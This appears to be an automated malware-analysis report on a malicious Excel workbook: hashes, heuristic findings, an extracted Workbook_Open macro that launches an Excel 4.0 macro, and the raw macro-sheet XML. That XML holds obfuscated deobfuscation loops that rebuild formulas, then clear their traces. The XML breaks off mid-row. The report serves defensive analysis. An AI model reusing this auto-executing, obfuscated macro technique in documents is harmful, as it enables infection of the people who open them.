Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 18945006889c2372…

MALICIOUS

Office (OOXML)

392.0 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-03-31
MD5: 2cd15ed729404e63415bfa6a9347a191 SHA-1: 74f23d94660c529efdb7ec3a26db5fdeaa68cc6f SHA-256: 18945006889c23721cf7c1a5c7d21bd4dc930b82ef9953b1bb3df165c8c5505d
150 Risk Score

Heuristics 5

  • Excel 4.0 macro sheet (1 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Dangerous XLM formula APIs: FORMULA critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 707 bytes
SHA-256: 4ef802f5c19ad75b279943b5b8d59c0de50598cb723ea973c2fd58027d93ef34
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit
Private Sub Workbook_Open()
    ExecuteExcel4Macro ("data!Stuffy()")
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 12800 bytes
SHA-256: a6edc67e3cb6e62b1bd9a4a79d45e74ad2e3e16b12be4c281744cbac36a8c8f1
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 22286 bytes
SHA-256: 8eb2c4d2661cbc0d260032823a07d9df07031f5917fca15fac2dcf077c1fe1de
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0100-000000000000}"><dimension ref="A1:CD106"/><sheetViews><sheetView workbookViewId="0"><selection sqref="A1:XFD1048576"/></sheetView></sheetViews><sheetFormatPr defaultColWidth="45.85546875" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="45.85546875" style="1"/></cols><sheetData><row r="1" spans="1:82" x14ac:dyDescent="0.25"><c r="A1" s="1" t="b"><f>DEFINE.NAME("x",26)</f><v>1</v></c></row><row r="2" spans="1:82" x14ac:dyDescent="0.25"><c r="A2" s="1" t="b"><f>WHILE(x&lt;200)</f><v>1</v></c></row><row r="3" spans="1:82" x14ac:dyDescent="0.25"><c r="A3" s="1" t="b"><f>DEFINE.NAME("y",45)</f><v>1</v></c></row><row r="4" spans="1:82" x14ac:dyDescent="0.25"><c r="A4" s="1" t="b"><f>DEFINE.NAME("x",x+1)</f><v>1</v></c></row><row r="5" spans="1:82" x14ac:dyDescent="0.25"><c r="A5" s="1" t="b"><f>WHILE(y &lt; 300)</f><v>1</v></c><c r="C5" s="1" t="s"><v>0</v></c></row><row r="6" spans="1:82" x14ac:dyDescent="0.25"><c r="A6" s="1" t="b"><f>DEFINE.NAME("y",y+1)</f><v>1</v></c><c r="C6" s="1" t="s"><v>0</v></c></row><row r="7" spans="1:82" x14ac:dyDescent="0.25"><c r="A7" s="1" t="b"><f>INDIRECT(ADDRESS(y,x))="~"</f><v>0</v></c><c r="B7" s="1" t="s"><v>0</v></c><c r="C7" s="1" t="s"><v>0</v></c></row><row r="8" spans="1:82" x14ac:dyDescent="0.25"><c r="A8" s="1" t="b"><f>INDIRECT(ADDRESS(y,x))="#"</f><v>1</v></c><c r="B8" s="1" t="s"><v>0</v></c><c r="C8" s="1" t="s"><v>0</v></c></row><row r="9" spans="1:82" x14ac:dyDescent="0.25"><c r="A9" s="1" t="str"><f>INDIRECT(ADDRESS(y,x))</f><v>#</v></c><c r="B9" s="1" t="s"><v>0</v></c><c r="C9" s="1" t="s"><v>0</v></c></row><row r="10" spans="1:82" x14ac:dyDescent="0.25"><c r="A10" s="1" t="b"><f>IF(OR(A7,A8),DEFINE.NAME("y",1000),SET.VALUE(B30,A9))</f><v>1</v></c><c r="B10" s="1" t="s"><v>0</v></c><c r="C10" s="1" t="s"><v>0</v></c></row><row r="11" spans="1:82" x14ac:dyDescent="0.25"><c r="A11" s="1" t="b"><f>IF(A8,DEFINE.NAME("x",2000))</f><v>1</v></c><c r="B11" s="1" t="s"><v>0</v></c><c r="C11" s="1" t="s"><v>0</v></c></row><row r="12" spans="1:82" x14ac:dyDescent="0.25"><c r="A12" s="1" t="b"><f>IF(OR(A8,A7),DEFINE.NAME("z",2000),DEFINE.NAME("z",79))</f><v>1</v></c><c r="B12" s="1" t="s"><v>0</v></c><c r="C12" s="1" t="s"><v>0</v></c><c r="CB12" s="1" t="s"><v>1</v></c><c r="CC12" s="1" t="s"><v>2</v></c><c r="CD12" s="1" t="s"><v>3</v></c></row><row r="13" spans="1:82" x14ac:dyDescent="0.25"><c r="A13" s="1" t="b"><f>IF(OR(A7,A8),DEFINE.NAME("p",2000),DEFINE.NAME("p",11))</f><v>1</v></c><c r="B13" s="1" t="s"><v>0</v></c><c r="C13" s="1" t="s"><v>0</v></c><c r="CB13" s="1" t="s"><v>2</v></c><c r="CC13" s="1" t="s"><v>4</v></c></row><row r="14" spans="1:82" x14ac:dyDescent="0.25"><c r="A14" s="1" t="b"><f>IF(A8,DEFINE.NAME("y",2000))</f><v>1</v></c><c r="B14" s="1" t="s"><v>0</v></c><c r="C14" s="1" t="s"><v>0</v></c><c r="CB14" s="1" t="s"><v>5</v></c><c r="CC14" s="1" t="s"><v>6</v></c></row><row r="15" spans="1:82" x14ac:dyDescent="0.25"><c r="A15" s="1" t="b"><f>WHILE(z &lt; 100)</f><v>1</v></c><c r="B15" s="1" t="s"><v>0</v></c><c r="C15" s="1" t="s"><v>0</v></c><c r="CB15" s="1" t="s"><v>7</v></c><c r="CC15" s="1"><v>2</v></c></row><row r="16" spans="1:82" x14ac:dyDescent="0.25"><c r="A16" s="1" t="b"><f>DEFINE.NAME("z",z+1)</f><v>1</v></c><c r="B16" s="1" t="s"><v>0</v></c><c r="C16" s="1" t="s"><v>0</v></c><c r="CB16" s="1" t="s"><v>8</v></c><c r="CC16" s="1" t="s"><v>9</v></c></row><row r="17" spans="1:81" x14ac:dyDescent="0.25"><c r="A17" s="1" t="b"><f>DEFINE.NAME("p",11)</f><v>1</v></c><c r="B17" s="1" t="s"><v>0</v></c><c r="C17" s="1" t="s"><v>0</v></c><c r="CB17" s="1" t="s"><v>10</v></c><c r="CC17" s="1" t="s"><v>4</v></c></row><row r="18" spans="1:81" x14ac:dyDescent="0.25"><c r="A18" s="1" t="b"><f>WHILE(p &lt;500)</f><v>1</v></c><c r="B18" s="1" t="s"><v>0</v></c><c r="C18" s="1" t="s"><v>0</v></c><c r="CC18" s="1" t="s"><v>1</v></c></row><row r="19" spans="1:81" x14ac:dyDescent="0.25"><c r="A19" s="1" t="b"><f>DEFINE.NAME("p",p+1)</f><v>1</v></c><c r="B19" s="1" t="s"><v>0</v></c><c r="C19" s="1" t="s"><v>0</v></c><c r="CC19" s="1" t="s"><v>8</v></c></row><row r="20" spans="1:81" x14ac:dyDescent="0.25"><c r="A20" s="1" t="b"><f>INDIRECT(ADDRESS(p,z))="~"</f><v>0</v></c><c r="B20" s="1" t="s"><v>0</v></c><c r="C20" s="1" t="s"><v>0</v></c><c r="CC20" s="1" t="s"><v>10</v></c></row><row r="21" spans="1:81" x14ac:dyDescent="0.25"><c r="A21" s="1" t="str"><f>D36&amp;INDIRECT(ADDRESS(p,z))</f><v>TRUE</v></c><c r="B21" s="1" t="s"><v>0</v></c><c r="C21" s="1" t="s"><v>0</v></c></row><row r="22" spans="1:81" x14ac:dyDescent="0.25"><c r="A22" s="1" t="b"><f>INDIRECT(ADDRESS(p,z))="#"</f><v>1</v></c><c r="B22" s="1" t="s"><v>0</v></c><c r="C22" s="1" t="s"><v>0</v></c></row><row r="23" spans="1:81" x14ac:dyDescent="0.25"><c r="A23" s="1" t="b"><f>IF(OR(A22),DEFINE.NAME("z",1000))</f><v>1</v></c><c r="B23" s="1" t="s"><v>0</v></c><c r="C23" s="1" t="s"><v>0</v></c></row><row r="24" spans="1:81" x14ac:dyDescent="0.25"><c r="A24" s="1" t="b"><f>IF(OR(A22),DEFINE.NAME("p",1000))</f><v>1</v></c><c r="B24" s="1" t="s"><v>0</v></c><c r="C24" s="1" t="s"><v>0</v></c></row><row r="25" spans="1:81" x14ac:dyDescent="0.25"><c r="A25" s="1" t="b"><f>IF(OR(A20,A22),DEFINE.NAME("p",1000),SET.VALUE(D36,A21))</f><v>1</v></c><c r="B25" s="1" t="s"><v>0</v></c><c r="C25" s="1" t="s"><v>0</v></c></row><row r="26" spans="1:81" x14ac:dyDescent="0.25"><c r="A26" s="1" t="b"><f>NEXT()</f><v>1</v></c><c r="B26" s="1" t="s"><v>0</v></c><c r="C26" s="1" t="s"><v>0</v></c></row><row r="27" spans="1:81" x14ac:dyDescent="0.25"><c r="A27" s="1" t="b"><f>NEXT()</f><v>1</v></c><c r="B27" s="1" t="s"><v>0</v></c><c r="C27" s="1" t="s"><v>0</v></c></row><row r="28" spans="1:81" x14ac:dyDescent="0.25"><c r="A28" s="1" t="b"><f>IF(OR(A8,A7),GOTO(A2),SET.VALUE(B36,D36&amp;""""&amp;B30&amp;"""))"))</f><v>1</v></c><c r="B28" s="1" t="s"><v>0</v></c><c r="C28" s="1" t="s"><v>0</v></c></row><row r="29" spans="1:81" x14ac:dyDescent="0.25"><c r="A29" s="1" t="b"><f>DEFINE.NAME("v",2)</f><v>1</v></c><c r="B29" s="1" t="s"><v>0</v></c><c r="C29" s="1" t="s"><v>0</v></c></row><row r="30" spans="1:81" x14ac:dyDescent="0.25"><c r="A30" s="1" t="b"><f>DEFINE.NAME("n",40)</f><v>1</v></c><c r="B30" s="1" t="s"><v>0</v></c><c r="C30" s="1" t="s"><v>0</v></c></row><row r="31" spans="1:81" x14ac:dyDescent="0.25"><c r="A31" s="1" t="b"><f>DEFINE.NAME("e",40)</f><v>1</v></c><c r="B31" s="1" t="s"><v>0</v></c><c r="C31" s="1" t="s"><v>0</v></c></row><row r="32" spans="1:81" x14ac:dyDescent="0.25"><c r="A32" s="1" t="b"><f>WHILE(LEN(INDIRECT(ADDRESS(n,v))) &gt; 100)</f><v>1</v></c><c r="B32" s="1" t="s"><v>0</v></c><c r="C32" s="1" t="s"><v>0</v></c></row><row r="33" spans="1:30" x14ac:dyDescent="0.25"><c r="A33" s="1" t="b"><f>DEFINE.NAME("n",n+1)</f><v>1</v></c><c r="B33" s="1" t="s"><v>0</v></c><c r="C33" s="1" t="s"><v>0</v></c></row><row r="34" spans="1:30" x14ac:dyDescent="0.25"><c r="A34" s="1" t="b"><f>NEXT()</f><v>1</v></c><c r="B34" s="1" t="s"><v>0</v></c><c r="C34" s="1" t="s"><v>0</v></c></row><row r="35" spans="1:30" x14ac:dyDescent="0.25"><c r="A35" s="1" t="b"><f>WHILE(LEN(INDIRECT(ADDRESS(n,v))) = 0)</f><v>1</v></c><c r="B35" s="1" t="s"><v>0</v></c><c r="C35" s="1" t="s"><v>0</v></c></row><row r="36" spans="1:30" x14ac:dyDescent="0.25"><c r="A36" s="1" t="b"><f>SET.VALUE(INDIRECT(ADDRESS(n,v)),"=")</f><v>1</v></c><c r="B36" s="1" t="s"><v>0</v></c><c r="C36" s="1" t="s"><v>0</v></c><c r="D36" s="1" t="s"><v>0</v></c></row><row r="37" spans="1:30" x14ac:dyDescent="0.25"><c r="A37" s="1" t="b"><f>NEXT()</f><v>1</v></c><c r="B37" s="1" t="s"><v>0</v></c><c r="C37" s="1" t="s"><v>0</v></c></row><row r="38" spans="1:30" x14ac:dyDescent="0.25"><c r="A38" s="1" t="str"><f>IF(x &lt; 200,INDIRECT(ADDRESS(n,v))&amp;INDIRECT(ADDRESS(36,2)))</f><v>TRUE</v></c><c r="B38" s="1" t="s"><v>0</v></c><c r="C38" s="1" t="s"><v>0</v></c></row><row r="39" spans="1:30" x14ac:dyDescent="0.25"><c r="A39" s="1" t="b"><f>SET.VALUE(INDIRECT(ADDRESS(n,v)),A38)</f><v>1</v></c><c r="B39" s="1" t="s"><v>0</v></c><c r="C39" s="1" t="s"><v>0</v></c></row><row r="40" spans="1:30" x14ac:dyDescent="0.25"><c r="A40" s="1" t="b"><f>SET.VALUE(D36,"")</f><v>1</v></c><c r="B40" s="1" t="s"><v>0</v></c><c r="C40" s="1" t="s"><v>0</v></c></row><row r="41" spans="1:30" x14ac:dyDescent="0.25"><c r="A41" s="1" t="b"><f>SET.VALUE(B36,"")</f><v>1</v></c><c r="B41" s="1" t="s"><v>0</v></c><c r="C41" s="1" t="s"><v>0</v></c></row><row r="42" spans="1:30" x14ac:dyDescent="0.25"><c r="A42" s="1" t="b"><f>SET.VALUE(B30,"")</f><v>1</v></c><c r="B42" s="1" t="s"><v>0</v></c><c r="C42" s="1" t="s"><v>0</v></c></row><row r="43" spans="1:30" x14ac:dyDescent="0.25"><c r="A43" s="1" t="str"><f>INDIRECT(ADDRESS(n,v))&amp;"&amp;"</f><v>TRUE&amp;</v></c><c r="B43" s="1" t="s"><v>0</v></c><c r="C43" s="1" t="s"><v>0</v></c></row><row r="44" spans="1:30" x14ac:dyDescent="0.25"><c r="A44" s="1" t="b"><f>SET.VALUE(INDIRECT(ADDRESS(n,v)),A43)</f><v>1</v></c><c r="B44" s="1" t="s"><v>0</v></c><c r="C44" s="1" t="s"><v>0</v></c></row><row r="45" spans="1:30" x14ac:dyDescent="0.25"><c r="A45" s="1" t="b"><f>NEXT()</f><v>1</v></c><c r="B45" s="1" t="s"><v>0</v></c><c r="C45" s="1" t="s"><v>0</v></c></row><row r="46" spans="1:30" x14ac:dyDescent="0.25"><c r="A46" s="1" t="b"><f>NEXT()</f><v>1</v></c><c r="B46" s="1" t="s"><v>0</v></c><c r="C46" s="1" t="s"><v>0</v></c><c r="AA46" s="1" t="s"><v>11</v></c><c r="AB46" s="1" t="s"><v>12</v></c><c r="AC46" s="1" t="s"><v>13</v></c><c r="AD46" s="1" t="s"><v>3</v></c></row><row r="47" spans="1:30" x14ac:dyDescent="0.25"><c r="B47" s="1" t="s"><v>0</v></c><c r="C47" s="1" t="s"><v>0</v></c><c r="AA47" s="1" t="s"><v>14</v></c><c r="AB47" s="1" t="s"><v>15</v></c><c r="AC47" s="1" t="s"><v>16</v></c></row><row r="48" spans="1:30" x14ac:dyDescent="0.25"><c r="A48" s="1" t="b"><f>DEFINE.NAME("e",40)</f><v>1</v></c><c r="B48" s="1" t="s"><v>0</v></c><c r="C48" s="1" t="s"><v>0</v></c><c r="AA48" s="1" t="s"><v>11</v></c><c r="AB48" s="1" t="s"><v>17</v></c><c r="AC48" s="1" t="s"><v>18</v></c></row><row r="49" spans="1:29" x14ac:dyDescent="0.25"><c r="A49" s="1" t="b"><f>WHILE(e&lt;n+1)</f><v>1</v></c><c r="B49" s="1" t="s"><v>0</v></c><c r="C49" s="1" t="s"><v>0</v></c><c r="AA49" s="1" t="s"><v>19</v></c><c r="AB49" s="1" t="s"><v>13</v></c><c r="AC49" s="1" t="s"><v>20</v></c></row><row r="50" spans="1:29" x14ac:dyDescent="0.25"><c r="A50" s="1" t="b"><f>IF(RIGHT((INDIRECT(ADDRESS(e,v))),1) = "&amp;",LEFT(INDIRECT(ADDRESS(e,v)),LEN(INDIRECT(ADDRESS(e,v)))-1))</f><v>0</v></c><c r="B50" s="1" t="s"><v>0</v></c><c r="C50" s="1" t="s"><v>0</v></c><c r="AA50" s="1" t="s"><v>21</v></c><c r="AB50" s="1"><v>20</v></c><c r="AC50" s="1" t="s"><v>22</v></c></row><row r="51" spans="1:29" x14ac:dyDescent="0.25"><c r="A51" s="1" t="b"><f>SET.VALUE(INDIRECT(ADDRESS(e,v)),A50)</f><v>1</v></c><c r="B51" s="1" t="s"><v>0</v></c><c r="C51" s="1" t="s"><v>0</v></c><c r="AA51" s="1" t="s"><v>23</v></c><c r="AB51" s="1" t="s"><v>10</v></c><c r="AC51" s="1" t="s"><v>24</v></c></row><row r="52" spans="1:29" x14ac:dyDescent="0.25"><c r="A52" s="1" t="b"><f>DEFINE.NAME("e",e+1)</f><v>1</v></c><c r="B52" s="1" t="s"><v>0</v></c><c r="C52" s="1" t="s"><v>0</v></c><c r="AA52" s="1" t="s"><v>25</v></c><c r="AC52" s="1" t="s"><v>11</v></c></row><row r="53" spans="1:29" x14ac:dyDescent="0.25"><c r="A53" s="1" t="b"><f>NEXT()</f><v>1</v></c><c r="B53" s="1" t="s"><v>0</v></c><c r="C53" s="1" t="s"><v>0</v></c><c r="AA53" s="1" t="s"><v>26</v></c><c r="AC53" s="1" t="s"><v>22</v></c></row><row r="54" spans="1:29" x14ac:dyDescent="0.25"><c r="A54" s="1" t="b"><f>DEFINE.NAME("e",40)</f><v>1</v></c><c r="B54" s="1" t="s"><v>0</v></c><c r="C54" s="1" t="s"><v>0</v></c><c r="AA54" s="1" t="s"><v>16</v></c><c r="AC54" s="1" t="s"><v>13</v></c></row><row r="55" spans="1:29" x14ac:dyDescent="0.25"><c r="A55" s="1" t="b"><f>WHILE(e&lt;n+1)</f><v>1</v></c><c r="B55" s="1" t="s"><v>0</v></c><c r="C55" s="1" t="s"><v>0</v></c><c r="AA55" s="1" t="s"><v>15</v></c><c r="AC55" s="1" t="s"><v>27</v></c></row><row r="56" spans="1:29" x14ac:dyDescent="0.25"><c r="A56" s="1" t="str"><f>C40&amp;EVALUATE(ABSREF("R["&amp;e-60&amp;"]C[1]",A60))</f><v>TRUE</v></c><c r="B56" s="1" t="s"><v>0</v></c><c r="C56" s="1" t="s"><v>0</v></c><c r="AA56" s="1" t="s"><v>28</v></c><c r="AC56" s="1" t="s"><v>18</v></c></row><row r="57" spans="1:29" x14ac:dyDescent="0.25"><c r="A57" s="1" t="b"><f>SET.VALUE(C40,A56)</f><v>1</v></c><c r="B57" s="1" t="s"><v>0</v></c><c r="C57" s="1" t="s"><v>0</v></c><c r="AA57" s="1" t="s"><v>29</v></c><c r="AC57" s="1" t="s"><v>20</v></c></row><row r="58" spans="1:29" x14ac:dyDescent="0.25"><c r="A58" s="1" t="b"><f>DEFINE.NAME("e",e+1)</f><v>1</v></c><c r="B58" s="1" t="s"><v>0</v></c><c r="C58" s="1" t="s"><v>0</v></c><c r="AA58" s="1" t="s"><v>30</v></c><c r="AC58" s="1" t="s"><v>22</v></c></row><row r="59" spans="1:29" x14ac:dyDescent="0.25"><c r="A59" s="1" t="b"><f>NEXT()</f><v>1</v></c><c r="B59" s="1" t="s"><v>0</v></c><c r="C59" s="1" t="s"><v>0</v></c><c r="AA59" s="1" t="s"><v>15</v></c><c r="AC59" s="1" t="s"><v>19</v></c></row><row r="60" spans="1:29" x14ac:dyDescent="0.25"><c r="A60" s="1" t="b"><f>FORMULA("="&amp;C40&amp;""")",A65)</f><v>1</v></c><c r="B60" s="1" t="s"><v>0</v></c><c r="C60" s="1" t="s"><v>0</v></c><c r="AA60" s="1" t="s"><v>31</v></c><c r="AC60" s="1" t="s"><v>20</v></c></row><row r="61" spans="1:29" x14ac:dyDescent="0.25"><c r="B61" s="1" t="s"><v>0</v></c><c r="C61" s="1" t="s"><v>0</v></c><c r="AA61" s="1" t="s"><v>31</v></c><c r="AC61" s="1" t="s"><v>22</v></c></row><row r="62" spans="1:29" x14ac:dyDescent="0.25"><c r="B62" s="1" t="s"><v>0</v></c><c r="C62" s="1" t="s"><v>0</v></c><c r="AA62" s="1" t="s"><v>32</v></c><c r="AC62" s="1" t="s"><v>13</v></c></row><row r="63" spans="1:29" x14ac:dyDescent="0.25"><c r="B63" s="1" t="s"><v>0</v></c><c r="C63" s="1" t="s"><v>0</v></c><c r="AA63" s="1" t="s"><v>15</v></c><c r="AC63" s="1" t="s"><v>22</v></c></row><row r="64" spans="1:29" x14ac:dyDescent="0.25"><c r="B64" s="1" t="s"><v>0</v></c><c r="C64" s="1" t="s"><v>0</v></c><c r="AA64" s="1" t="s"><v>33</v></c><c r="AC64" s="1" t="s"><v>18</v></c></row><row r="65" spans="1:29" x14ac:dyDescent="0.25"><c r="A65" s="1" t="b"><f>DEFINE.NAME(t,1)</f><v>0</v></c><c r="B65" s="1" t="s"><v>0</v></c><c r="C65" s="1" t="s"><v>0</v></c><c r="AA65" s="1" t="s"><v>15</v></c><c r="AC65" s="1" t="s"><v>34</v></c></row><row r="66" spans="1:29" x14ac:dyDescent="0.25"><c r="B66" s="1" t="s"><v>0</v></c><c r="C66" s="1" t="s"><v>0</v></c><c r="AA66" s="1"><v>20</v></c><c r="AC66" s="1" t="s"><v>22</v></c></row><row r="67" spans="1:29" x14ac:dyDescent="0.25"><c r="A67" s="1" t="b"><f>SET.VALUE(B4:B100,"")</f><v>1</v></c><c r="B67" s="1" t="s"><v>0</v></c><c r="C67" s="1" t="s"><v>0</v></c><c r="AA67" s="1" t="s"><v>10</v></c><c r="AC67" s="1" t="s"><v>24</v></c></row><row r="68" spans="1:29" x14ac:dyDescent="0.25"><c r="A68" s="1" t="b"><f>SET.VALUE(C5:C101,"")</f><v>1</v></c><c r="B68" s="1" t="s"><v>0</v></c><c r="C68" s="1" t="s"><v>0</v></c><c r="AC68" s="1" t="s"><v>35</v></c></row><row r="69" spans="1:29" x14ac:dyDescent="0.25"><c r="A69" s="1" t="b"><f>FORMULA("=DEFINE.NAME(t,1)",A65)</f><v>1</v></c><c r="B69" s="1" t="s"><v>0</v></c><c r="C69" s="1" t="s"><v>0</v></c><c r="AC69" s="1" t="s"><v>22</v></c></row><row r="70" spans="1:29" x14ac:dyDescent="0.25"><c r="A70" s="1" t="b"><f>DEFINE.NAME("p",1)</f><v>1</v></c><c r="B70" s="1" t="s"><v>0</v></c><c r="C70" s="1" t="s"><v>0</v></c><c r="AC70" s="1" t="s"><v>36</v></c></row><row r="71" spans="1:29" x14ac:dyDescent="0.25"><c r="A71" s="1" t="b"><f>DEFINE.NAME("x",1)</f><v>1</v></c><c r="B71" s="1" t="s"><v>0</v></c><c r="C71" s="1" t="s"><v>0</v></c><c r="AC71" s="1" t="s"><v>16</v></c></row><row r="72" spans="1:29" x14ac:dyDescent="0.25"><c r="A72" s="1" t="b"><f>DEFINE.NAME("z",1)</f><v>1</v></c><c r="B72" s="1" t="s"><v>0</v></c><c r="C72" s="1" t="s"><v>0</v></c><c r="AC72" s="1" t="s"><v>18</v></c></row><row r="73" spans="1:29" x14ac:dyDescent="0.25"><c r="A73" s="1" t="b"><f>DEFINE.NAME("e",1)</f><v>1</v></c><c r="B73" s="1" t="s"><v>0</v></c><c r="C73" s="1" t="s"><v>0</v></c><c r="AC73" s="1" t="s"><v>31</v></c></row><row r="74" spans="1:29" x14ac:dyDescent="0.25"><c r="A74" s="1" t="b"><f>DEFINE.NAME("y",1)</f><v>1</v></c><c r="B74" s="1" t="s"><v>0</v></c><c r="C74" s="1" t="s"><v>0</v></c><c r="AC74" s="1" t="s"><v>22</v></c></row><row r="75" spans="1:29" x14ac:dyDescent="0.25"><c r="B75" s="1" t="s"><v>0</v></c><c r="C75" s="1" t="s"><v>0</v></c><c r="AC75" s="1" t="s"><v>37</v></c></row><row r="76" spans="1:29" x14ac:dyDescent="0.25"><c r="B76" s="1" t="s"><v>0</v></c><c r="C76" s="1" t="s"><v>0</v></c><c r="AC76" s="1" t="s"><v>38</v></c></row><row r="77" spans="1:29" x14ac:dyDescent="0.25"><c r="B77" s="1" t="s"><v>0</v></c><c r="C77" s="1" t="s"><v>0</v></c><c r="AC77" s="1" t="s"><v>22</v></c></row><row r="78" spans="1:29" x14ac:dyDescent="0.25"><c r="B78" s="1" t="s"><v>0</v></c><c r="C78" s="1" t="s"><v>0</v></c><c r="AC78" s="1" t="s"><v>13</v></c></row><row r="79" spans="1:29" x14ac:dyDescent="0.25"><c r="B79" s="1" t="s"><v>0</v></c><c r="C79" s="1" t="s"><v>0</v></c><c r="AC79" s="1" t="s"><v>16</v></c></row><row r="80" spans="1:29" x14ac:dyDescent="0.25"><c r="B80" s="1" t="s"><v>0</v></c><c r="C80" s="1" t="s"><v>0</v></c><c r="AC80" s="1" t="s"><v>22</v></c></row><row r="81" spans="2:29" x14ac:dyDescent="0.25"><c r="B81" s="1" t="s"><v>0</v></c><c r="C81" s="1" t="s"><v>0</v></c><c r="AC81" s="1" t="s"><v>27</v></c></row><row r="82" spans="2:29" x14ac:dyDescent="0.25"><c r="B82" s="1" t="s"><v>0</v></c><c r="C82" s="1" t="s"><v>0</v></c><c r="AC82" s="1" t="s"><v>22</v></c></row><row r="83" spans="2:29" x14ac:dyDescent="0.25"><c r="B83" s="1" t="s"><v>0</v></c><c r="C83" s="1" t="s"><v>0</v></c><c r="AC83" s="1" t="s"><v>24</v></c></row><row r="84" spans="2:29" x14ac:dyDescent="0.25"><c r="B84" s="1" t="s"><v>0</v></c><c r="C84" s="1" t="s"><v>0</v></c><c r="AC84" s="1" t="s"><v>38</v></c></row><row r="85" spans="2:29" x14ac:dyDescent="0.25"><c r="B85" s="1" t="s"><v>0</v></c><c r="C85" s="1" t="s"><v>0</v></c><c r="AC85" s="1" t="s"><v>22</v></c></row><row r="86" spans="2:29" x14ac:dyDescent="0.25"><c r="B86" s="1" t="s"><v>0</v></c><c r="C86" s="1" t="s"><v>0</v></c><c r="AC86" s="1" t="s"><v>36</v></c></row><row r="87" spans="2:29" x14ac:dyDescent="0.25"><c r="B87" s="1" t="s"><v>0</v></c><c r="C87" s="1" t="s"><v>0</v></c><c r="AC87" s="1" t="s"><v>39</v></c></row><row r="88" spans="2:29" x14ac:dyDescent="0.25"><c r="B88" s="1" t="s"><v>0</v></c><c r="C88" s="1" t="s"><v>0</v></c><c r="AC88" s="1" t="s"><v>18</v></c></row><row r="89" spans="2:29" x14ac:dyDescent="0.25"><c r="B89" s="1" t="s"><v>0</v></c><c r="C89" s="1" t="s"><v>0</v></c><c r="AC89" s="1" t="s"><v>29</v></c></row><row r="90" spans="2:29" x14ac:dyDescent="0.25"><c r="B90" s="1" t="s"><v>0</v></c><c r="C90" s="1" t="s"><v>0</v></c><c r="AC90" s="1" t="s"><v>22</v></c></row><row r="91" spans="2:29" x14ac:dyDescent="0.25"><c r="B91" s="1" t="s"><v>0</v></c><c r="C91" s="1" t="s"><v>0</v></c><c r="AC91" s="1" t="s"><v>24</v></c></row><row r="92" spans="2:29" x14ac:dyDescent="0.25"><c r="B92" s="1" t="s"><v>0</v></c><c r="C92" s="1" t="s"><v>0</v></c><c r="AC92" s="1" t="s"><v>38</v></c></row><row r="93" spans="2:29" x14ac:dyDescent="0.25"><c r="B93" s="1" t="s"><v>0</v></c><c r="C93" s="1" t="s"><v>0</v></c><c r="AC93" s="1" t="s"><v>22</v></c></row><row r="94" spans="2:29" x14ac:dyDescent="0.25"><c r="B94" s="1" t="s"><v>0</v></c><c r="C94" s="1" t="s"><v>0</v></c><c r="AC94" s="1" t="s"><v>40</v></c></row><row r="95" spans="2:29" x14ac:dyDescent="0.25"><c r="B95" s="1" t="s"><v>0</v></c><c r="C95" s="1" 